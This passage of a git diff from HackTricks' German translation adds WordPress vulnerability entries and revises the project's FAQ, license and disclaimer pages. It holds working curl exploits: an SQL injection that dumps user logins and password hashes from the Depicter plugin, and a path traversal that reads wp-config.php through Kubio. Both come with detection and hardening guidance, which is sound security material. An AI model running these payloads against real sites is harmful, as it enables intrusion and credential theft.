Mehrere depicter-* actions verwendeten den Parameter s (search) und haben ihn ohne Parameterisierung in SQL-Abfragen verkettet.
- Parameter: s (search)
- Flaw: direkte String-Konkatenation in WHERE/LIKE-Klauseln; keine prepared statements/sanitization
- Impact: Datenbank-Exfiltration (users, hashes), laterale Bewegung
PoC
```bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
```
Detection checklist
- Grep nach depicter-* action handlers und direkter Verwendung von $_GET['s'] oder $_POST['s'] in SQL
- Überprüfe benutzerdefinierte Queries, die an $wpdb->get_results()/query() übergeben werden und s konkatenieren
Hardening
- Verwende immer $wpdb->prepare() oder wpdb-Platzhalter; lehne unerwartete Metazeichen serverseitig ab
- Füge eine strikte Allowlist für s hinzu und normalisiere auf erwarteten Zeichensatz/Länge
---
## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Das Akzeptieren von angreiferkontrollierten Pfaden in einem Template-Parameter ohne Normalisierung/Containment ermöglicht das Lesen beliebiger lokaler Dateien und in manchen Fällen Codeausführung, wenn einbindbare PHP- oder Log-Dateien zur Laufzeit eingebunden werden.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: keine Normalisierung/Allowlist; Traversal erlaubt
- Impact: Offenlegung von Secrets (wp-config.php), potenzielles RCE in bestimmten Umgebungen (log poisoning, includable PHP)
PoC wp-config.php lesen
```bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
```
Checkliste zur Erkennung
- Jeder Handler, der Request-Pfade in include()/require()/read-Sinks zusammenfügt, ohne realpath() zur Einschränkung zu verwenden
- Auf Traversal-Muster (../) achten, die außerhalb des vorgesehenen templates-Verzeichnisses gelangen
Härtung
- Allowlist für Templates erzwingen; Datei mit realpath() auflösen und require str_starts_with(realpath(file), realpath(allowed_base))
- Eingaben normalisieren; Traversal-Sequenzen und absolute Pfade ablehnen; sanitize_file_name() nur für Dateinamen verwenden (nicht für vollständige Pfade)
## Referenzen
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
@ -714,5 +854,11 @@ Der Server antwortet mit dem Inhalt von `wp-config.php`, leaking DB credentials
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
- [Q3 2025s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
- [OttoKit (SureTriggers) ≤ 1.0.82 Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
- [FunnelKit Automations ≤ 3.5.3 Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
- [Depicter Slider ≤ 3.6.1 Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
- [Kubio AI Page Builder ≤ 2.5.1 Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -7,15 +7,15 @@
> [!TIP]
> Dies sind die **Werte des HackTricks-Projekts**:
>
> - **SICHERSTELLEN** von **KOSTENLOSEM** Zugang zu **EDUCATIONAL hacking** Ressourcen für **das gesamte** Internet.
> - Gewähre **KOSTENLOSEN** Zugang zu **bildungsrelevanten hacking**-Ressourcen für **das gesamte** Internet.
> - Hacking dreht sich ums Lernen, und Lernen sollte so frei wie möglich sein.
> - Der Zweck dieses Buches ist, als umfassende **Bildungsressource** zu dienen.
> - **SPEICHERN** großartige **hacking** Techniken, die die Community veröffentlicht, und den **ORIGINALEN** **AUTOREN** alle **CREDITS** geben.
> - **Wir wollen nicht die Anerkennung anderer**, wir wollen nur coole Tricks für alle speichern.
> - Wir veröffentlichen auch **unsere eigenen Forschungen** in HackTricks.
> - In mehreren Fällen werden wir nur **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den Leser **ermutigen, den Originalbeitrag** für mehr Details zu besuchen.
> - **ORGANISIEREN** aller hacking Techniken im Buch, damit es **BESSER ZUGÄNGLICH** ist
> - Das HackTricks-Team hat Tausende von Stunden kostenlos **nur für die Organisation des Inhalts** aufgewendet, damit Menschen **schneller lernen** können
> - Der Zweck dieses Buches ist es, als umfassende **Bildungsressource** zu dienen.
> - **SPEICHERE** großartige **hacking**-Techniken, die die Community veröffentlicht und den **URSPRÜNGLICHEN** **AUTOREN** alle **Anerkennung** gibt.
> - **Wir wollen nicht die Anerkennung anderer Leute**, wir wollen nur coole Tricks für alle speichern.
> - Wir schreiben auch **unsere eigenen Forschungsarbeiten** in HackTricks.
> - In mehreren Fällen werden wir nur **in HackTricks eine Zusammenfassung der wichtigen Teile** der Technik schreiben und den Leser dazu **ermutigen, den Originalbeitrag** für mehr Details zu besuchen.
> - **ORGANISIERE** alle hacking-Techniken im Buch, damit es **BESSER ZUGÄNGLICH** ist
> - Das HackTricks-Team hat tausende von Stunden kostenlos **ausschließlich für die Organisation des Inhalts** aufgewendet, damit Menschen **schneller lernen**
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -25,9 +25,9 @@
>
> - **Vielen Dank für diese Ressourcen, wie kann ich mich bedanken?**
Du kannst dem HackTricks-Team öffentlich danken, indem du in einem Tweet [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnst.\
Wenn du besonders dankbar bist, kannst du auch [**das Projekt hier sponsern**](https://github.com/sponsors/carlospolop).\
Und vergiss nicht, den Github-Projekten einen Stern zu geben! (Die Links findest du unten).
Du kannst dem HackTricks-Team öffentlich für das Zusammenstellen all dieser Ressourcen in einem Tweet danken, indem du [**@hacktricks_live**](https://twitter.com/hacktricks_live) erwähnst.\
Wenn du besonders dankbar bist, kannst du das Projekt auch [**hier sponsoren**](https://github.com/sponsors/carlospolop).\
Und vergiss nicht, den Github-Projekten **einen Stern zu geben**! (Finde die Links weiter unten).
> [!TIP]
>
@ -38,20 +38,20 @@ Du kannst **neue Tipps und Tricks mit der Community teilen oder Bugs beheben**,
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
Vergiss nicht, den Github-Projekten einen Stern zu geben!
Vergiss nicht, den Github-Projekten **einen Stern zu geben**!
> [!TIP]
>
> - **Kann ich Inhalte von HackTricks kopieren und in meinem Blog veröffentlichen?**
> - **Kann ich Inhalte aus HackTricks kopieren und in meinem Blog veröffentlichen?**
Ja, das kannst du, aber **vergiss nicht, den spezifischen Link bzw. die Links** anzugeben, von denen der Inhalt stammt.
Ja, das kannst du, aber **vergiss nicht, den konkreten Link/die konkreten Links** anzugeben, von denen der Inhalt stammt.
> [!TIP]
>
> - **Wie kann ich auf eine Seite von HackTricks verweisen?**
> - **Wie kann ich eine Seite von HackTricks referenzieren?**
Solange der Link der Seite(n), von der/dem du die Information entnommen hast, angegeben ist, ist das ausreichend.\
Wenn du einen bibtex-Eintrag benötigst, kannst du etwas wie Folgendes verwenden:
Solange der Link **der** Seite(n), von der du die Informationen entnommen hast, angegeben ist, reicht das aus.\
Wenn du ein BibTeX brauchst, kannst du so etwas verwenden:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Kann ich alle HackTricks in meinem Blog kopieren?**
**Das würde ich lieber nicht**. Das **wird niemandem nützen**, da alle **Inhalte bereits kostenlos öffentlich** in den offiziellen HackTricks-Büchern verfügbar sind.
**Das würde ich lieber nicht**. Das **wird niemandem nützen**, da der **Inhalt bereits kostenlos öffentlich** in den offiziellen HackTricks-Büchern verfügbar ist.
Wenn du befürchtest, dass es verschwinden könnte, fork es einfach auf Github oder lade es herunter — wie gesagt, es ist bereits kostenlos.
Wenn du befürchtest, dass er verschwindet, fork es einfach auf Github oder lade es herunter — wie gesagt, es ist bereits kostenlos.
> [!WARNING]
>
> - **Warum habt ihr Sponsoren? Sind HackTricks-Bücher für kommerzielle Zwecke?**
> - **Warum habt ihr Sponsoren? Sind die HackTricks-Bücher kommerziell?**
Der erste **Wert** von **HackTricks** ist es, **KOSTENLOSE** hacking-Bildungsressourcen für **ALLE** weltweit anzubieten. Das HackTricks-Team hat **Tausende von Stunden** investiert, um diesen Inhalt, wie gesagt, **KOSTENLOS** zur Verfügung zu stellen.
Der erste **HackTricks** **Wert** ist es, **KOSTENLOSE** Bildungsressourcen zum Thema Hacking für **ALLE** weltweit anzubieten. Das HackTricks-Team hat **Tausende von Stunden** investiert, um diesen Inhalt bereitzustellen, wiederum **KOSTENLOS**.
Wenn du denkst, die HackTricks-Bücher seien für **kommerzielle Zwecke**, liegst du **VÖLLIG FALSCH**.
Wenn du denkst, die HackTricks-Bücher würden für **kommerzielle Zwecke** erstellt, liegst du **VÖLLIG FALSCH**.
Wir haben Sponsoren, weil wir, auch wenn alle Inhalte KOSTENLOS sind, der Community die Möglichkeit bieten möchten, unsere Arbeit zu würdigen, falls sie das möchten. Daher bieten wir den Menschen die Option, HackTricks über [**Github sponsors**](https://github.com/sponsors/carlospolop) zu unterstützen, und relevante Cybersecurity-Unternehmen sponsern HackTricks und platzieren **einige Anzeigen** im Buch — die **Anzeigen** werden stets an Stellen platziert, an denen sie **sichtbar** sind, aber den Lernprozess nicht stören, wenn sich jemand auf den Inhalt konzentriert.
Wir haben Sponsoren, weil wir, auch wenn der gesamte Inhalt KOSTENLOS ist, der **Community die Möglichkeit geben wollen, unsere Arbeit zu wertschätzen**, falls sie das möchten. Daher bieten wir Leuten die Option, HackTricks über [**Github sponsors**](https://github.com/sponsors/carlospolop) zu unterstützen, und **relevante Cybersecurity-Firmen** sponsern HackTricks und platzieren **einige Anzeigen** im Buch — die **Anzeigen** werden stets an Stellen platziert, an denen sie **sichtbar** sind, aber den Lernprozess nicht **stören**, wenn sich jemand auf den Inhalt konzentriert.
Du wirst HackTricks nicht voller nerviger Anzeigen finden wie andere Blogs mit deutlich weniger Inhalt, denn HackTricks ist nicht für kommerzielle Zwecke gemacht.
Du wirst HackTricks nicht mit nervigen Anzeigen vollgestopft finden wie andere Blogs mit deutlich weniger Inhalten, denn HackTricks ist nicht für kommerzielle Zwecke gemacht.
> [!CAUTION]
>
> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogpost basiert, dieser aber nicht referenziert ist?**
> - **Was soll ich tun, wenn eine HackTricks-Seite auf meinem Blogpost basiert, dieser aber nicht referenziert wird?**
**Es tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lass es uns via Github issues, Twitter, Discord... wissen — sende den Link der HackTricks-Seite mit dem betreffenden Inhalt und den Link zu deinem Blog, und **wir werden es prüfen und so schnell wie möglich hinzufügen**.
**Das tut uns sehr leid. Das hätte nicht passieren dürfen**. Bitte lass es uns wissen über Github issues, Twitter, Discord... den Link der HackTricks-Seite mit dem Inhalt und den Link zu deinem Blog und **wir werden es prüfen und so schnell wie möglich hinzufügen**.
> [!CAUTION]
>
> - **Was soll ich tun, wenn Inhalte von meinem Blog in HackTricks sind und ich sie dort nicht haben möchte?**
> - **Was soll ich tun, wenn Inhalte meines Blogs in HackTricks sind und ich das nicht möchte?**
Beachte, dass Links zu deiner Seite in HackTricks:
- Verbessern dein **SEO**
- Der Inhalt wird in **mehr als 15 Sprachen übersetzt**, wodurch mehr Menschen Zugang zu diesem Inhalt erhalten können
- **HackTricks ermutigt** Menschen dazu, **deine Seite zu besuchen** (mehrere Personen teilten uns mit, dass sie seitdem, dass eine ihrer Seiten in HackTricks ist, mehr Besuche erhalten)
- Deine **SEO** verbessern
- Der Inhalt in **mehr als 15 Sprachen** übersetzt wird, sodass mehr Menschen Zugang zu diesem Inhalt haben
- **HackTricks ermutigt** Leute, **deine Seite zu besuchen** (mehrere Leute haben uns mitgeteilt, dass sie seitdem eine ihrer Seiten in HackTricks hat, mehr Besuche erhalten)
Wenn du jedoch trotzdem möchtest, dass die Inhalte deines Blogs aus HackTricks entfernt werden, sag uns einfach Bescheid und wir werden definitiv **alle Links zu deinem Blog entfernen** sowie alle darauf basierenden Inhalte.
Solltest du dennoch wünschen, dass der Inhalt deines Blogs aus HackTricks entfernt wird, sag es uns einfach und wir werden definitiv **jeden Link zu deinem Blog entfernen** sowie jeglichen auf ihm basierenden Inhalt.
> [!CAUTION]
>
> - **Was soll ich tun, wenn ich kopierten Inhalt in HackTricks finde?**
Wir geben den ursprünglichen Autoren immer **alle Credits**. Wenn du eine Seite mit kopiertem Inhalt ohne Angabe der Originalquelle findest, informiere uns und wir werden entweder **den Inhalt entfernen**, **den Link vor dem Text hinzufügen**, oder **den Text umschreiben und den Link hinzufügen**.
Wir geben den ursprünglichen Autoren stets **alle Credits**. Wenn du eine Seite mit kopiertem Inhalt ohne Referenz zur Originalquelle findest, lass es uns wissen und wir werden ihn entweder **entfernen**, **den Link vor den Text setzen**, oder **umschreiben und den Link hinzufügen**.
## LIZENZ
## LICENSE
Copyright © Alle Rechte vorbehalten, sofern nicht anders angegeben.
#### Lizenzübersicht:
#### License Summary:
- Namensnennung: Du darfst:
- Teilen — das Material in jedem Medium oder Format kopieren und weiterverbreiten.
- Anpassen — remixen, transformieren und auf dem Material aufbauen.
- Attribution: Du darfst:
- Share — kopieren und das Material in jedem Medium oder Format weiterverbreiten.
- Adapt — remixen, transformieren und auf dem Material aufbauen.
#### Zusätzliche Bedingungen:
#### Additional Terms:
- Drittinhalte: Einige Teile dieses Blogs/Buchs können Inhalte aus anderen Quellen enthalten, wie Auszüge aus anderen Blogs oder Publikationen. Die Nutzung solcher Inhalte erfolgt unter den Grundsätzen des Fair Use oder mit ausdrücklicher Genehmigung der jeweiligen Urheberrechtsinhaber. Bitte beziehe dich auf die Originalquellen für spezifische Lizenzinformationen zu Drittinhalten.
- Urheberschaft: Die ursprünglich von HackTricks verfassten Inhalte unterliegen den Bestimmungen dieser Lizenz. Es wird empfohlen, dieses Werk beim Teilen oder Anpassen dem Autor zuzuschreiben.
- Third-Party Content: Teile dieses Blogs/Buchs können Inhalte aus anderen Quellen enthalten, wie Auszüge aus anderen Blogs oder Publikationen. Die Nutzung solcher Inhalte erfolgt unter den Prinzipien des fair use oder mit ausdrücklicher Genehmigung der jeweiligen Urheberrechtsinhaber. Bitte beziehe dich auf die Originalquellen für spezifische Lizenzinformationen zu Inhalten Dritter.
- Authorship: Der ursprünglich von HackTricks verfasste Inhalt unterliegt den Bedingungen dieser Lizenz. Du wirst ermutigt, dieses Werk beim Teilen oder Anpassen dem Autor zuzuschreiben.
#### Ausnahmen:
#### Exemptions:
- Kommerzielle Nutzung: Bei Anfragen zur kommerziellen Nutzung dieses Inhalts kontaktiere mich bitte.
- Commercial Use: Für Anfragen bezüglich der kommerziellen Nutzung dieses Inhalts kontaktiere mich bitte.
Diese Lizenz gewährt keine Marken- oder Branding-Rechte in Bezug auf die Inhalte. Alle Marken und Branding-Elemente in diesem Blog/Buch sind Eigentum ihrer jeweiligen Inhaber.
Diese Lizenz gewährt keine Marken- oder Brandingrechte in Bezug auf die Inhalte. Alle Marken und Branding-Elemente, die in diesem Blog/Buch erscheinen, sind Eigentum ihrer jeweiligen Inhaber.
**Durch den Zugriff auf oder die Nutzung von HackTricks erklärst du dich mit den Bedingungen dieser Lizenz einverstanden. Wenn du diesen Bedingungen nicht zustimmst, greife bitte nicht auf diese Website zu.**
**Durch den Zugriff auf oder die Nutzung von HackTricks erklärst du dich damit einverstanden, die Bedingungen dieser Lizenz einzuhalten. Wenn du mit diesen Bedingungen nicht einverstanden bist, greife bitte nicht auf diese Website zu.**
## **Haftungsausschluss**
## **Disclaimer**
> [!CAUTION]
> Dieses Buch, 'HackTricks,' dient ausschließlich Bildungs- und Informationszwecken. Die Inhalte dieses Buches werden "wie gesehen" bereitgestellt, und die Autoren und Herausgeber geben keinerlei ausdrückliche oder stillschweigende Zusicherungen oder Gewährleistungen hinsichtlich Vollständigkeit, Genauigkeit, Zuverlässigkeit, Eignung oder Verfügbarkeit der in diesem Buch enthaltenen Informationen, Produkte, Dienstleistungen oder zugehörigen Grafiken ab. Jegliches Vertrauen, das du in solche Informationen setzt, erfolgt daher ausschließlich auf dein eigenes Risiko.
> Dieses Buch, 'HackTricks', dient nur zu Bildungs- und Informationszwecken. Die Inhalte dieses Buches werden "wie besehen" bereitgestellt, und die Autoren und Herausgeber geben keinerlei Zusicherungen oder Gewährleistungen jeglicher Art, weder ausdrücklich noch stillschweigend, hinsichtlich Vollständigkeit, Genauigkeit, Zuverlässigkeit, Eignung oder Verfügbarkeit der Informationen, Produkte, Dienstleistungen oder damit zusammenhängender Grafiken in diesem Buch. Jegliches Vertrauen, das du in solche Informationen setzt, erfolgt daher ausschließlich auf eigenes Risiko.
>
> Die Autoren und Herausgeber haften in keinem Fall für Verluste oder Schäden, einschließlich, aber nicht beschränkt auf indirekte oder Folgeschäden oder Verluste jedweder Art, die aus dem Verlust von Daten oder Gewinnen entstehen und im Zusammenhang mit der Nutzung dieses Buches stehen.
> Die Autoren und Herausgeber haften unter keinen Umständen für Verluste oder Schäden, einschließlich, aber nicht beschränkt auf indirekte oder Folgeschäden, oder für Verluste oder Schäden jedweder Art, die aus dem Verlust von Daten oder Gewinnen entstehen, die sich aus der Nutzung dieses Buches ergeben.
>
> Darüber hinaus werden die in diesem Buch beschriebenen Techniken und Tipps ausschließlich zu Bildungs- und Informationszwecken bereitgestellt und dürfen nicht für illegale oder böswillige Aktivitäten verwendet werden. Die Autoren und Herausgeber billigen oder unterstützen keine illegalen oder unethischen Aktivitäten, und jede Nutzung der in diesem Buch enthaltenen Informationen erfolgt auf eigenes Risiko und eigene Verantwortung des Nutzers.
> Darüber hinaus werden die in diesem Buch beschriebenen Techniken und Tipps nur zu Bildungs- und Informationszwecken bereitgestellt und sollten nicht für illegale oder böswillige Aktivitäten verwendet werden. Die Autoren und Herausgeber billigen oder unterstützen keine illegalen oder unethischen Aktivitäten, und jede Nutzung der in diesem Buch enthaltenen Informationen geschieht auf eigenes Risiko und eigene Verantwortung des Nutzers.
>
> Der Nutzer ist allein verantwortlich für alle Maßnahmen, die auf Grundlage der in diesem Buch enthaltenen Informationen ergriffen werden, und sollte stets professionelle Beratung und Unterstützung in Anspruch nehmen, bevor er versucht, eine der hier beschriebenen Techniken oder Tipps umzusetzen.
> Der Nutzer ist allein verantwortlich für alle Handlungen, die auf der Grundlage der in diesem Buch enthaltenen Informationen vorgenommen werden, und sollte stets professionelle Beratung und Unterstützung einholen, bevor er versucht, eine der beschriebenen Techniken oder Tipps umzusetzen.
>
> Durch die Nutzung dieses Buches erklärt sich der Nutzer damit einverstanden, die Autoren und Herausgeber von jeglicher Haftung und Verantwortung für Schäden, Verluste oder Schäden freizustellen, die sich aus der Nutzung dieses Buches oder der darin enthaltenen Informationen ergeben können.
> Durch die Nutzung dieses Buches entbindet der Nutzer die Autoren und Herausgeber von jeglicher Haftung und Verantwortung für Schäden, Verluste oder Schäden, die sich aus der Nutzung dieses Buches oder der darin enthaltenen Informationen ergeben können.
{{#include ../banners/hacktricks-training.md}}